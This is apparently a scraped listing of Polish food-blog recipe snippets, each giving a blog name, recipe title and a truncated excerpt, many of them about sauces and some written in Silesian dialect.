Stare Gary
Spaghetii po mojemu 171

puszki, wywar warzywny lub wodę, wymieszać i gotować na małym ogniu 15 minut. W między czasie ugotować makaron. Makaron wyłożyć na talerz, posypać potartym serem i polać gorącym sosem. Na koniec obsypać listkami bazylii. Danie było rewelacyjne. polecam

Kuchnia Pokoleń
Goodfood luty 2016 276

czasami zwykłe pyry do obiadu po porstu psują efekt dania, a tu propozycje na dodatki tj. duszone młode pory, pieczony kalafior i octem balsamicznym, sałata ze szpinaku z sosem sezamowym, mmm…. Genialny przewodnik po wszelkiego rodzaju cukrach, co do czego, jak przechowywać itd. Wiem, cukier do zło, ale nie dajmy się zwariować. Propozycje naleśników w bardziej wytrawnej formie

greenscarf
Carpaccio z pieczonego buraka 211

cieniutkie plasterki. Na talerzu układamy warstwę rukoli, a na nią plasterki buraka. Ocet, olej, miód i przeciśnięty przez praskę czosnek mieszamy razem, doprawiamy solą i pieprzem. Tak przygotowanym sosem polewamy buraki. Wierzch posypujemy zmielonymi orzeszkami. Gotowe

Czerwona Porzeczka
Rybne klopsiki z duszonym jarmużem, kaszą orkiszową i warzywami 228

polecam przyrządzanie potraw w parowarze - ja po kilku latach użytkowania jeszcze się nie znudziłam ;) Rybne klopsiki z duszonym jarmużem, kaszą orkiszową i warzywami Klopsiki: 1 puszka tuńczyka   w sosie własnym 3 łyżki płatków jaglanych 1 średniej wielkości marchewka 1 łyżka otrąb owsianych 1 małe jajko pieprz, zioła prowansalskie, szczypta soli Duszony jarmuż: kilka dużych liści jarmużu 1 łyżka oliwy

FitKot
Skandynawska surówka z ogórka 271

smażonego, gotowanego i pieczonego łososia, pstrąga. W krajach skandynawskich używana jest jako dodatek do hamburgerów i hot-dogów. Świetnie komponuje się z klasycznymi mięsnymi klopsikami w jasnym i ciemnym sosie, pieczenią wieprzową. SKŁADNIKI 1 długi wężowy ogórek, 400-500g 1 cebula czerwona, średniej wielkości 60-80g 1 łyżka stołowa drobnego cukru ½ dużego pęczka koperku 80ml octu ryżowego

Karo in the Kitchen
Fasolka po bretońsku z warzywami - dietetyczna, odtłuszczona :) 177

czarnego  1 płaska łyżeczka mielonego kminku 1/2 łyżeczki chilli 1/3 łyżeczki lubczyku 1/2 łyżeczki pieprzu ziołowego  1/2 łyżeczki pieprzu prawdziwego  1 łyżeczka curry  1 łyżka sosu sojowego  1 płaska łyżeczka soli himalajskiej  (Targroch) 1-2 szklanki wody Przygotowanie: Dzień wcześniej, wieczorem zalej fasolę dużą ilością wody. Następnego dnia pozostałą wodę odlej, a fasolę przepłucz

Zdrowie na języku :P
Serowo-paprykowe chipsy z tortilli 146

również wyczarować fantastyczne i mega chrupiące chipsy! Tak! Wystarczy placki pokroić, np. w małe trójkąty, skropić oliwą, doprawić ulubionymi przyprawami, zapiec w piekarniku i chrupać dowoli- z dodatkiem sosu lub bez. Moja ulubiona kombinacja smaków to wędzona papryka, szczypta soli oraz żółty ser. Jestem ciekawa jaka będzie Wasza ulubiona kombinacja?! :) Cała duża blaszka: * tortilla- 5 placków * oliwa z oliwek

Kraina Miodem Płynąca
Topinambur pieczony 244

czosnku sól, pieprz, kminek świeży rozmaryn lub suszone zioła prowansalskie. Wykonanie Topinambur obieramy i kroimy w niewielkie kawałki. Wykładamy na blachę do pieczenia na papier. W kubku mieszamy składniki sosu - oliwę, przyprawy i rozgnieciony czosnek Smarujemy lub spryskujemy mieszanką topinambur. Pieczemy w 180 stopniach ok. 45 min - 1 h. Powinien być lekko złoty. 4.4.2.1 http://mieszamwgarnku.pl/dodatki-do-dan-glownych/topinambur-pieczony/ BosowKuchni Artykuł Topinambur

Mieszam w Garnku
Cannelloni z mięsem 151

mięso. Doprawić solą, pieprzem i majerankiem. Łyżeczką napełniać rurki makaronu. Do naczynia żaroodpornego wlać tłuszcz z patelni pozostały ze smażenia mięsa i układać na nim rurki makaronowe wypełnione mięsem. Sos 1 puszka pomidorów 200 ml kwaśnej śmietany sól pieprz papryka słodka papryka ostra bazylia dodatkowo 150 startego żółtego sera Wszystkie składniki dokładnie wymieszać w kubeczku i zalać makaron. Przykryć naczynie

O kuchni z uczuciem
Kurczak z kurkami w śmietanie 199

Następie dodajemy pokrojone w kostkę mięso, oprószamy solą, podsmażamy i zalewamy gorącym bulionem. Gotujemy 10 min. Dodajemy śmietanę, dokładnie łączymy i dusimy na wolnym ogniu przez 15 min. Do sosu dodajemy posiekaną natkę pietruszki. Do smaku doprawiamy solą i pieprzem. Podajemy na ciepło z ryżem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

R'n'G Kitchen
Quiche z kurczakiem curry 266

mieszamy. Na podpieczony spód wykładamy masę i wkładamy do piekarnika na ok. 30-35 min. Tartę podajemy z pomidorkami, dymką i czarnym sezamem. Świetnie do całości pasował będzie również sos sojowy z odrobiną wasabi. Smacznego

DefinicjaSmaku
Poldal, Pretzels (Seinfeld) 219

drobno pokroić lub zetrzeć na tarce 250 g brązowej lub zielonej soczewicy 1-2 łyżki oleju rzepakowego 1 łyżka mąki kukurydzianej mielony kminek, majeranek, czarny pieprz, ziołowy pieprz, sól, sos sojowy posiekane szczypior i natka pietruszki Gotuj do miękkości soczewicę i włoszczyznę z dodatkiem oleju i majeranku w dużej ilości wody (20-30 minut). Rozprowadź mąkę kukurydzianą w zimnej wodzie

Qlinarnie i Qlinarnie
Wegańskie "chłopskie jadło" czyli ZIEMNIAKI Z PIECZARKAMI Z PATELNI 234

samego dołu na samą górę, dolewam jeszcze wody, znowu przykrywam i znowu idę sobie. Po kolejnych 15 minutach jedzenie jest już gotowe czyli mięciutkie, przesiąknięte przyprawami, z przepysznym sosem. Najlepiej jeść gorące, do tego zimne piwko, jakaś sałata czy papryka na zagryzkę i już. Smacznego

Wegański blog WSZYSTKO JEST W GŁOWIE
Sałatka z kolorowym ryżem 328

kostkę. Dodajemy przestudzony i odcedzony ryż, posiekanego selera, pokrojoną w kostkę paprykę oraz pieczarki oraz pokrojoną w cieniutkie, drobne paseczki szynkę konserwową. Z majonezu, ketchupu oraz jogurtu przygotowujemy sos, dodajemy do sałatki, mieszamy. Doprawiamy do smaku solą i pieprzem. Smacznego

Kuchnia w czekoladzie
Potrawka z polędwicy z papryką i pomidorami 218

chili i pietruszkę oraz nieco czarnego pieprzu. Mieszamy i przestawiamy na mały ogień. Dusimy ok. 30 minut, na początku pod przykryciem, potem bez niego, by nadmiar płynu odparował, a sos się zagęścił. W międzyczasie możemy dosolić do smaku (ostrożnie, sól jest już w bulionie!). Dodajemy pokroją żółtą paprykę i dusimy jeszcze 10 minut. Na kilka minut przed końcem duszenia posypujemy

Kulinarna Pokusa
Makaron z parówkami w sosie pomidorowym 181

dodajemy koncentrat pomidorowy,podlewamy niewielką ilością wody.Doprawiamy do smaku solą pieprzem i cukrem.Smażymy jeszcze przez 5 minut.Makaron gotujemy według przepisu na opakowaniu.Na talerzu układamy porcję makaronu i polewamy sosem

Bajeczna Kuchnia
Owsiana pizza 198

smażyć na lekkim ogniu po 3 minuty z    każdej strony  Danie to równie dobrze smakuje na zimno jak również na ciepło. Z dodatkiem ostrych sosów ,jak sam  również. Ten placek smażę w chwili kiedy spieszę się , natomiast jeśli mam trochę czasu to go piekę jest równie smaczny

Eli Gotowanie
Kluski z twarogu z natką pietruszki 188

Kluski z twarogu to takie poplątanie klusek leniwych i śląskich. Rezultat mięciutkie kluseczki dobre do sosów, gulaszy a ja podałam je z szynką i cebulką. Polecam gorąco. Kluski z twarogu z natką pietruszki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kurczak z czerwoną fasolą 146

kostkę; cebulę, czosnek i por w plasterki; a pietruszkę na drobno. Na rozgrzanej patelni z niewielką ilością oliwy podsmażyłam kurczaka, cebulkę i czosnek. Podsmażone produkty przełożyłam do woka, dodałam sos pomidorowy, odcedzoną fasolę, pietruszkę, por, ocet jabłkowy, przyprawy i zioła. Całość dusiłam w woku ok 30 min. U nas w zestawieniu z kluskami śląskimi

nietadieta
Indyk w sosie kokosowym 148

Indyk w sosie kokosowym Składniki: 250 g indyka 350 g zielonej fasolki szparagowej 1 duża, czerwona cebula mały kawałek imbiru 200 ml mleka kokosowego  sól pieprz oliwa Indyka pokroiłam w kostkę, a cebulkę w plasterki. Fasolkę umyłam i odcięłam końcówki. Imbir obrałam i pokroiłam na drobniutkie kawałki. Na rozgrzanej patelni z dodatkiem oliwy podsmażyłam indyka i cebulkę. Dodałam fasolkę

nietadieta
Bezglutenowe spaghetti z kurczakiem i czerwoną fasolą 161

sól pieprz bazylia oregano makaron Spaghetti z brązowego ryżu Kurczaka pokroiłam w kostkę, cebulę w plasterki i podsmażyłam na rozgrzanej oliwie. Następnie dodałam pomidory, fasolę, kapary, przyprawy i zioła. Sos dusiłam pod przykryciem ok 25 minut. W międzyczasie ugotowałam makaron

nietadieta
Duszony królik w sosie własnym 191

Królik w sosie własnym Składniki: porcja królika 1 cebula 2 ząbki czosnku 3 plasterki pora sól ziele angielskie 3 liście laurowe estragon 3 łyżki octu jabłkowego woda Królika dokładnie umyłam, wrzuciłam do wody i obgotowałam mięso.  Obgotowane mięso przełożyłam do woka, dodałam cebulę, czosnek i delikatnie podsmażyłam. Podsmażone mięso podlałam wodą (ilość wody zależy od ilości mięsa, u mnie

nietadieta
Pieczony kurczak nadziewany jabłkami i pomarańczami 166

obok kurczaka, dodałam jeszcze 3 łyżki oliwy i wstawiłam do piekarnika  nagrzanego do temp 180 º C. Kiedy kurczak się zarumienił, przełożyłam go na drugą stronę i polałam sosem, który się wydzielił podczas pieczenia.  Kiedy jabłka były miękkie, wyjęłam owoce z naczynia żaroodpornego, aby się nie przypaliły. Kurczaka ponowni wstawiłam do piekarnika, aby się zarumienił z drugiej strony

nietadieta
Grillowany łosoś z brukselka inaczej :) komosa ryżowa, nasiona chia. Bez glutenu 175

brukselką, komosą ryżową i pomidorami Składniki - łosoś: 500 g łososia koperek tymianek rozmaryn sól Składniki  brukselka z komosą: 500 g brukselki 3/4 szklanki kaszy quinoa 1 czerwona cebula sos pomidorowy/pomidory w puszce oliwa z oliwek 1 łyżeczka nasion chia 1 łyżeczka suszonego koperku 1 łyżeczka kurkumy sól Łososia przyprawiłam tymiankiem, koperkiem, solą i rozmarynem. Odstawiłam do lodówki

nietadieta
Pieczone ziemniaki w piekarniku 26177

minutach ziemniaki jeszcze nie są chrupiące, to można zwiększyć temp. do 220C na ostatnie 10 minut pieczenia. Może zainteresuje Cię również przepis na: chrupiące, grillowane ziemniaczki z sosem cebulowym The post Pieczone ziemniaki w piekarniku appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Czerwona kapusta zasmażana. Modra kapusta zasmażana 201

Rozpuszczamy pozostałe masło, przekładamy kapustę i zasmażamy, aż płyn odparuje. Surówkę z kapusty podajemy do jako dodatek do obiadu. Tym razem czerwona kapusta zasmażana została podana do ozorów w sosie koperkowym. Smacznego.   The post Czerwona kapusta zasmażana. Modra kapusta zasmażana appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Makaron z sosem kukurydzianym 169

mieszając, a następnie dodać posiekaną trawę cytrynową, serek mascarpone, 4 łyżki wody , doprawić solą i pieprzem. Na koniec dodać makaron i wymieszać. Na talerzu posypać posiekanym szczypiorkiem. makaron z sosem kukurydzianym

O kuchni z uczuciem
Hańdyk po prowansalsku (Indyk po prowansalsku) 164

indyk [2] samogłoska pomiędzy „o” a „u” [3] nabierzecie ochoty [4] ta część ciała, na której się siedzi [5] ganek, przedsionek [6] pokrojoną [7] dużo [8] awantura [9] sos [10] gotowe [11] ziemniakami [12] makaronem [13] bułką

Chop w kuchni
Zupa kryjm ze bani i ryby (Zupa krem dyniowo-rybna) 191

sypanōł prziprawa curry) 1 płaskoł łyżeczka kolyndry- zmielone ziorka [4] 1 łyżeczka kurkuma 2 łeżki zōłzy rybnyj (to sie kupuje we sklepie oriyntalnym, a po polsku sie to nazywo sos rybny, ale jak tego niy dołcie, to przeca sie nic niy stanie, bo niy byndymy sie gowy urywać, jak niy mōmy jednyj prziprawy)   Nojprzōd pokrejcie- tak byle

Chop w kuchni
Szałołt z czerwōnōm ćwiklōm (Sałatka buraczana) 198

jakego miysa [39] abo grillowanego wōsztu. [40]   [1] ogród [2] od [3] sam [4] burak ćwikłowy [5] gotowanych [6] może zjeść [7] kiedyś [8] były [9] naprawdę [10] sosu [11] dałem [12] truskawki [13] przeszedłem [14] znalazłem [15] zmienić przepis [16] wymyśliła [17] nektaryny [18] powiedzieć [19] zdarzają [20] co będzie potrzebne [21] sałata [22] może [23] garść

Chop w kuchni
Nadziywane kwiołtki cukinii (Nadziewane kwiaty cukinii) 172

córka [12] koleżanki [13] kilka [14] pół [15] łyżek pszennej mąki [16] olej [17] każdego [18] uważajcie [19] ubijcie [20] wrzućcie [21] wyciągnijcie [22] wsiąknęło [23] możecie [24] sosu

Chop w kuchni
Mule ze śmiytōnkōm i wyndzōnkōm (Mule w sosie śmietanowym aromatyzowanym boczkiem) 181

pokrojoną [27] lekko [28] zabulgocze [29] trochę [30] będzie [31] pogotują [32] dzieci [33] nie mówcie [34] zamkną [35] więzieniu [36] gotowe [37] jej [38] wcześniej [39] zamoczyć [40] sosie

Chop w kuchni
Rolady ze granatym  (Wybuchowe zrazy wołowe ;) ) 158

bidulka 14 zmiotła 15 były 16 potrzeba 17 kawałków 18 garść 19 wędzonego boczku 20 musztardy 21 śmietany 22 łyżki 23 trochę 24 kilka kropel 25 babcie 26 sosu 27 mąka 28 macie 29 ochota 30 wziąć 31 roztrzaskajcie 32 rzeźnika 33 wrzućcie 34 każdą 35 połóżcie 36 uprażyć 37 wyrzucić 38 zwinąć 39 nam 40 gdzie 41 wcześniej

Chop w kuchni
Biała polewka. Zupa ziemniaczana na maślance 209

polewka. Jest lekko kwaskowa, zawiesista i zaskakująco smakowita. Jeśli nigdy jej nie próbowaliście to mocno zachęcam. Postne danie kojarzy mi się najbardziej z marynowanym śledziem, podanym z ziemniakami i sosem jogurtowym albo śmietanowym. To właśnie jadało się najczęściej w piątki u mojej Babci. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Grillowane boczniaki. Grzanki z boczniakami, serkiem i podsuszaną wędliną 238

można zostawić w całości.   Pietruszkę i czosnek bardzo, bardzo drobno siekamy, łączymy z oliwą i sokiem z cytryny lub octem. Można również te składniki zblendować razem, stworzą gęsty sos. Rozgrzewamy patelnię grillową, bez tłuszczu. Wszystkie grzyby smarujemy po jednej stronie zieloną czosnkową oliwą, solimy i pieprzymy, posmarowaną stroną kładziemy grzyby w jednej warstwie na gorącą patelnię. Smarujemy grzyby oliwą

Karo in the Kitchen
Kotlety z białej fasoli panierowane w płatkach owsianych 221

czasie formować kotlety i obtaczać w płatkach owsianych. Smażyć na średnio rozgrzanym oleju z obu stron, aż staną się lekko rumiane. Podawać z ulubionymi surówkami i ewentualnie z sosami - na ciepło lub na zimno. Jeśli lubicie fasolę, to spróbujcie też zupę krem z białej fasoli

Codzienna kuchnia niecodzienna
Słodkie, walentynkowe, czekoladowe „Conieco” stopi lód z każdego serca 300

udekorować po bokach listkami ziół. Używając pipety lub pałeczki ostrożnie wypełnić środek otworu kwiatka truskawkowym puree (zanurzać pałeczkę w puree i pozwolić mu powoli spływać do otworu, uważajać by sos nie rozprysnął się na ciasto i nie zrujnował jego wyglądu) . Umieść każde „ciastko” w oddzielnej bibułce do mufinek i zapakować w pudełko do wyrobów cukierniczych. Życzę smacznego oraz

Jem więc Jestem
Rosół z kostki rosołowej - wspomnienie dzieciństwa? Współczuję 242

trójwymiarowości nie ogarniam jeszcze. My, Polacy, łapiemy na potęgę to, co zawitało do nas z zachodu. Tak też zapewne było z kostkami rosołowymi . No bo jak zupa, pieczeń, sos nie jest "dosmaczony", to dorzućmy kostkę, lub tą przyprawę w proszku albo i w płynie. Na pewno będzie smaczniej bo przecież ktoś to wymyślił aby w życiu było łatwiej

Right Behind The Kitchen
Indycze pulpeciki ze spaghetti 168

masy formujemy małe pulpeciki. Podsmażamy je na odrobinie oleju. Śmietanę mieszamy z wodą. Doprawiamy ja sola, pieprzem, gałką muszkatołową i majerankiem. Zalewamy nią pulpeciki i dusimy do momentu zgęstnienia sosu. Dokładamy brokuł i dusimy jeszcze kilka minut. Pulpeciki podajemy z ugotowanym al dente spaghetti

VioletoweKucharzenie
Surówka z marchwi z chrzanem 180

naprawdę wiele surówek czy przystawek do tradycyjnego obiadu. Ta surówka to trochę zapomniany już surówkowy klasyk. Surówka z marchewki z dodatkiem chrzanu bardzo jest lubiana przez mojego męża. Jako sos posłużył mi jogurt, żeby było lekkostrawnie, ale jeśli chcecie poczuć prawdziwy smak tej surówki lub jogurtu nie lubicie, użyjcie śmietany. Jeśli macie mało słodkie marchewki, warto dodać do surówki łyżeczkę

Mieszam w Garnku
Masło oliwkowe – domowy mix do smarowania pieczywa 202

opisie składu słowa „uwodorniony”, „utwardzony” lub „częściowo utwardzony” ,możecie być pewni że to tłuszcz trans. Szczególną uwagę zwróćcie na chipsy, paluszki, ciastka i inne wyroby cukiernicze, mrożone frytki, majonezy, sosy – warto czytać etykiety i wiedzieć co jemy.   Masło jest łatwostrawne, jest najlepiej przyswajalnym dla nas tłuszczem zwierzęcym, w organizmie masło szybko zmieniane jest w energię, nie odkłada się

Karo in the Kitchen
Warzywa z patelni 182

doprawiłam i to cała filozofia tego dania. Można dodać sobie na co ma się tylko ochotę. Ewentualnie jeśli ktoś woli troszkę bardziej "mokre" można użyć jogurtu naturalnego jako sosu. W sklepach można zakupić gotowe "warzywa na patelnię" ja wypróbowałam i uważam, że nie są takie złe. Zakupy: - marchewka - pieczarki - ziemniaki - brokuł - kukurydza Przygotowanie: Warzywa obieram, (można zetrzeć na grubych oczkach

Tanio smacznie i prosto
ŚLEDZIK POD PIERZYNKĄ 151

Majonez i śmietanę razem łączymy. Dodajemy warzywa, przyprawiamy pieprzem i mieszamy. Ser żółty ścieramy na tarce o małych oczkach. Śledzie kroimy i układamy na dnie, następnie warzywa w sosie, posypujemy serem żółtym i ozdabiamy szczypiorkiem. SMACZNEGO

Prosto i Smacznie z Anetą
PANCAKES Z MĄKI KASZTANOWEJ 258

zachowaniu do mąki glutenowej, lekko strawna, o delikatnym orzechowym smaku, naturalnie lekko słodka. Wyśmienita do słodkich wypieków, naleśników i racuchów. Dziś serwuję puszyste pancakes z bitą śmietaną i sosem truskawkowym. Nieco nabałaganiłem podczas jedzenia, ale... Czytaj dalej

Mam To Na Widelcu
Karkówka w sosie słodko- kwaśnym 241

szybko, że nawet nie zdążyłam zrobić zdjęcia. Od tamtej pory co jakiś czas pojawia się w moim menu. Mięso wychodzi bardzo delikatne, miękkie a warzywa w słodko-   kwaśnym sosie dodają fajnego smaku. Mimo, że nie należę do fanów karkówki ta wersja bardzo mi smakuje ;-) Zapraszam!!!   Składniki: 1,5 kg karkówki, 0,5 kg pieczarek, 3 cebule ( średniej wielkości

Passion of Cooking
Jajka po szkocku 210

jest kmin rzymski, stąd nie mogło go zabraknąć), ale nic nie stoi na przeszkodzie, by wykazać się własną inwencją twórczą! Jajka po szkocku podałam z pieczonymi ćwiartkami ziemniaków i sosem jogurtowo-koperkowym. Zobacz również inne przepisy na ----> jajka Jajka po szkocku - przepis: Składniki: 400 g mięsa mielonego (ja użyła mielonego z indyka) 4 jajka ugotowane na twardo sól, pieprz

Moje Qulinaria
Gołąbki zupełnie inaczej! 324

wspólne gotowanie! SKŁADNIKI: -1 kg mięsa mielonego wieprzowo- wołowego - 3 jajka - 1/2 szklanki bułki tartej - sól, pieprz - 3-5 łyżek mąki pszennej do obtoczenia - ryż jaśminowy na sos: -1/2 dużej kapusty pekińskiej - biała cześć pora (ja użyłam 1/2) - 1,5 słoiczka koncentratu pomidorowego - sól, pieprz, czosnek,  - natka pietruszki - 1 kostka rosołowa - 0,75 litra wody - 4 łyżki masła

SMYKWKUCHNI
Sylwestrowa przekąska z awokado i krewetek o smakach południowej Kalifornii 322

lemonki, posolić do smaku (ok. ½ łyżeczki lub więcej wedle uznania) , wymieszać delikatnie widelcem, tak żeby awokado rozpłynęło się do konsystencji kremu i połączyło z sokiem z lemonki w gęsty sos. Krewetki dokładnie wymyć i wysuszyć, przekroić każdą na pół (lub wedle uznania) . W jednym naczyniu wymieszać krewetki z pokrojonymi ogórkami, pomidorami i kremem z awokado. Doprawić do smaku solą

Jem więc Jestem
Brownie jak sama nazwa wskazuje jest brązowy, bo jest zrobiony z czekolady. Więc jaki jest sekret jego receptury? 284

najczęściej pokrojony jest w małe kawałki, jak czekoladki. Wtedy nazwany jest Brownie Bites lub Brownie Squares. Dla mnie najpyszniejszy jest fudgy brownie. Podany na zimno. W małych kawałkach. Z sosem ze świeżych truskawek, malin lub mango. Pyszności. Dziś podzielę się z wami własnym przepisem na fudgy brownie. Zauważcie, że proporcja jajek i czekolady w stosunku do mąki jest

Jem więc Jestem
KURCZAK PO KARAIBSKU 188

uprzednio wysmarowanego olejem. Kurczaka także natłuść i przypraw solą. NAGRZEJ PIEKARNIK DO 180 STOPN I. Kurczaka piecz około 1,5 godziny bez przykrycia, od czasu do czasu polewaj wytopionym sosem. DELIKATNIE PODGRZEJ RUM , Wyjmij kurczaka z piekarnika, wylej na niego ciepły rum i podpal. Smacznego

Kuchnia bezglutenowa Loli
surówka z modrej kapusty 346

musi być. Jeśli chodzi o czerwoną kapustę to najbardziej lubię właśnie taką w wersji na surowo. Dodaję do niej różne dodatki, obowiązkowo jabłka. Najczęściej podaję ją do pieczeni z sosem.  Składniki: 1/2 główki czerwonej kapusty 2 marchewki 2 jabłka cebula ząbek czosnku 2 łyżki majonezu 2 łyżki śmietany  sól, pieprz Kapustę drobno zeszatkować, nasolić, odczekać chwilę i odcisnąć

Domowa Cukierenka-Domowa Kuchnia
Chrupiące ziemniaki z piekarnika 61435

piekarnika nagrzanego do 200 stopni na ok. 40 min. Ziemniaki po upieczeniu będą chrupiące z wierzchu i nie powinny być wysuszone ;) Ja takie ziemniaczki najbardziej lubię z domowym sosem czosnkowym ale pasować będą do wszelakich dań mięsnych i ryby

Pelusiowa Kuchnia
Pełnoziarniste fusilli z pesto z rukoli 206

Pierwsze receptury na pesto znane były już w średniowieczu. Ten włoski sos ma uniwersalne zastosowanie. Świetnie komponuje się z pieczywem, pasuje do mięs i ryb, a nawet może być składnikiem sałatek. Moje pesto nie jest tradycyjne, ponieważ jest z rukoli i nerkowców. Razem z pełnoziarnistym makaronem tworzy bardzo smaczny duet. Składniki  250 g pełnoziarnistego makaronu fusilli

My Chcemy Jeść
Rolada schabowa z pieczarkami i boczkiem 300

odstawiamy na 5 min. Gotowe mięsko możemy podać np z ziemniakami z marchewką i brokułami lub z lekką surówką z tego przepisu . Mięso po wyłożeniu na talerz możemy polać sosem z pieczenia

Piekielna Kuchnia Pati
samo zdrowie--marchewka z papryką 167

Składniki 1 kg marchwi 2 papryki czerwone,lub pomarańczowe,lub mieszane sos pomidorowy tutaj , lub słoiczek przecieru 3 łyżki keczupu 1 łyżeczka octu jabłkowego sól do smaku olej 2 cebule odrobina miodu,lub cukru do smaku woda Wykonanie Umyta obrana marchew zetrzeć na tarce w plasterki. Obrana cebule pokroić w kosteczkę .   Papryke umyta pokroić w paseczki,lub kosteczkę Cebulę

w mojej kuchni
Brukselka z marchewką 186

Smaczny i kolorowy dodatek do zimowego obiadu. Słodycz marchewki doskonale kompnuje się z lekką goryczką brukselki. Marchewka i brukselka uduszone w śmietanowym sosie al dente smakują naprawdę doskonale. Składniki: 300 g brukselki 200 g marchewki 1 łyżka masła sól, pieprz, cukier 100 ml śmietany kremówki+50 ml wody skórka otarta z 1/2 cytryny natka pietruszki Wykonanie: brukselkę umyć, podciąć ogonki

Gotuj zdrowo!Guten Appetit!
Seler naciowy w morelowym wywarze 156

małym ogniu przez 10-15 minut, po tym czasie wyjąłem seler i morele. 50 ml wywaru wymieszałem z 3 łyżkami i sokiem z cytryny, solą , pieprzem i olejem. Sosem polałem jarzynkę, posypałem natką selera. Można podać zarówno na ciepło jak i na zimno

R'n'G Kitchen
Śledzik na kilka sposobów, czyli przepis na Ostatki 185

zdjęciem, a zostaniecie przekierowani na stronę z przepisem. Śledź po kaszubsku Domowe rolmopsy z papryką Śledź w oleju z cebulą Śledź po kaszubsku II   Śledź w sosie czosnkowym Rolmopsy z ogórkiem Śledź wiejski Śledź w oleju z pieczonymi burakami Śledź pod buraczkiem

Kulinarne przygody Gatity
Sałatka z kolorowym tortellini i sosem jogurtowo- mjonezowym 336

usunąć twarde, środkowe części i pokroić w kostkę, podobnie też pokroić pieczarki i ugotowane na twardo jajka. Majonez wymieszać z jogurtem naturalnym i przeciśniętym przez praskę ząbkiem czosnku. Wymieszać sos z sałatką, doprawić do smaku solą i pieprzem

Kuchnia w czekoladzie
Makaron z cukinii z granatem, rukolą, słonecznikiem. 264

rukola garść  ziarna granatu  ziarna słonecznika 3 łyżki  feta pół kostki  3-4 łyżki oleju  sól do smaku  łyżeczkę miodu  sos z cytryny do smaku  SPOSÓB PRZYGOTOWANIA : Cukinie myjemy, tniemy ją na temperówce, przez co uzyskamy makaron. Jeśli tego nie posiadamy, możemy ją pociąć na paseczki nożem. Cukinie łączymy z granatem, rukolą

Basia w kuchni
Filet z kurczaka w sosie pomidorowym. 185

warzywa, gotować do miękkości na rosole lub wodzie Dodać koncentrat, ewentualnie soku pomidorowego, sól, cukier do smaku i bazylię, gotować chwile- mieszając Mięso przesmażyć krótko na patelni, dodać do sosu i chwilę razem gotować, do zupełnej miękkości mięsa Podawać z ryżem lub kopytkami i ulubioną surówką. Inspiracja "Mięsa na domowe obiady

Proste Potrawy
Tarta cebulowa z ziołami i mięsem. 184

miejscach, by nie wybrzuszyło się podczas pieczenia. Wstawić na 15 minut i piec by odeszło od brzegów formy. Wyjąć ciasto z piekarnika, wyłożyć na nie cebulę i mięso, zalać sosem serowym. Wstawić ponownie do piekarnika i zapiekać jeszcze 25 - 30 minut na złoty kolor. Podawać lekko przestygniętą - po 20 minutach :) Smacznego! Zapraszam na Instagram i Facebook bloga

Poezja Smaków - blog kulinarny
Zapiekanka hawajska 444

patelni. Ananasa kroimy w kostkę, ser ścieramy na tarce. Połowę grzanek wykładamy na dnie zaczynia żaroodpornego, na nie układamy ananasa, kukurydzę i kurczaka. Wysypujemy drugą połowę grzanek. Całość zalewamy sosem ze śmietany i posypujemy serem. Zapiekankę pieczemy ok. 30 minut w temperaturze 200 stopni

e-PrzepisyKulinarne
Śledzie curry z rodzynkami 186

śmietaną. Dodajemy przyprawę curry, cukier i sok wyciśnięty z pomarańczy. Dodajemy cebulkę, mieszamy. Doprawiamy do smaku solą i pieprzem. W misce układamy śledzie. Wkładamy jajka, rodzynki. Całość zalewamy sosem. Posypujemy posiekaną natką pietruszki. Ilość porcji: 4 Czas przygotowania: 0,30h Koszt wykonania: ok. 18 zł źródło:  aksamitne śledzie

Pobite gary Barbary
Spaghetti z włoszczyzną i moje 30 urodziny! Yeah! 207

drobną kostkę i podsmażamy na oliwie, następnie dodajemy pokrojone pomidory, starte na grubych oczkach marchewki i seler. Całość dusimy 30 min. Doprawimy solą, pieprzem i oregano suszonym. Gotowy sos podajemy z makaronem spaghetii    fot: http://discoplex.pl/ 

Bon Appetit Małgorzaty
Domowy paprykarz szczeciński 206

duża marchew 1 puszka pomidorów 3 łyżki koncentratu pomidorowego 2 ząbki czosnku 3 liście laurowe 1 łyżeczka papryki ostrej 1 łyżeczka papryki wędzonej 2 łyżeczki papryki ostrej 2 łyżki sosu sojowego sól pieprz oliwa 2 łyżeczki masła do gotowania ryżu Wykonanie: Ryż ugotować na sypko: Ryż przesypać do miski, zalać zimną wodą i odstawić na 15 minut. Następnie dokładnie

Mama Gotuje
Makaron z owocami morza 228

kontynuujemy gotowanie prze około 6-7 minut. W razie konieczności podlewamy nieco wodą. Doprawiamy do smaku solą, świeżo mielonym czarnym pieprzem i ziołami prowansalskimi. Odcedzony makaron dodajemy do sosu i razem mieszamy. Serwujemy posypany śwież natką pietruszki

Pyry na Gaz
VADA – pączki / donaty z soczewicy / kuchnia indyjska 198

Przygotowuje się je w kształcie donatów ( oponek ) i smaży na rumiano. Są świetnym pomysłem na obiad, kolację, albo imprezową przekąskę dla wielbicieli orientalnych smaków. Świetnie smakują z dodatkiem ulubionego sosu – ja polecam chutney pomidorowy albo z mango. Pycha! Koniecznie wypróbujcie! SKŁADNIKI: ( 8 szt ) * soczewica ( rodzaj: moong dal ) – 300g * papryczka chili – 0,5 szt * cebula

Ostra na Słodko
Tahini. Domowa pasta sezamowa 189

potem zjadamy. Przykładem jest domowa przyprawa warzywna , coś w rodzaju powszechnie używanej wegety, a domowa i bez żadnych dziwnych dodatków. Z czystym sumieniem można doprawiać nią zupy czy sosy. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Walentynkowe pierogi 174

mleko i cukier. Wymieszaj wszystkie składniki na farsz. Wiem, że farsz jest pyszny, ale nie wyżeraj, tylko resztę, jeżeli ci zostanie zblenduj, dodaj łyżeczkę esencji waniliowej i będziesz mieć sos. Ciasto rozwałkowuj partiami, resztę trzymając przykryte, aby nie wysychało. Nakładaj łyżka farsz i sklejaj pierogi. Pierogi wrzucaj partiami na gotującą się wodę (możesz dodać łyżeczkę oleju do wody) i gotuj

greenscarf
Kalafior w panierce 189

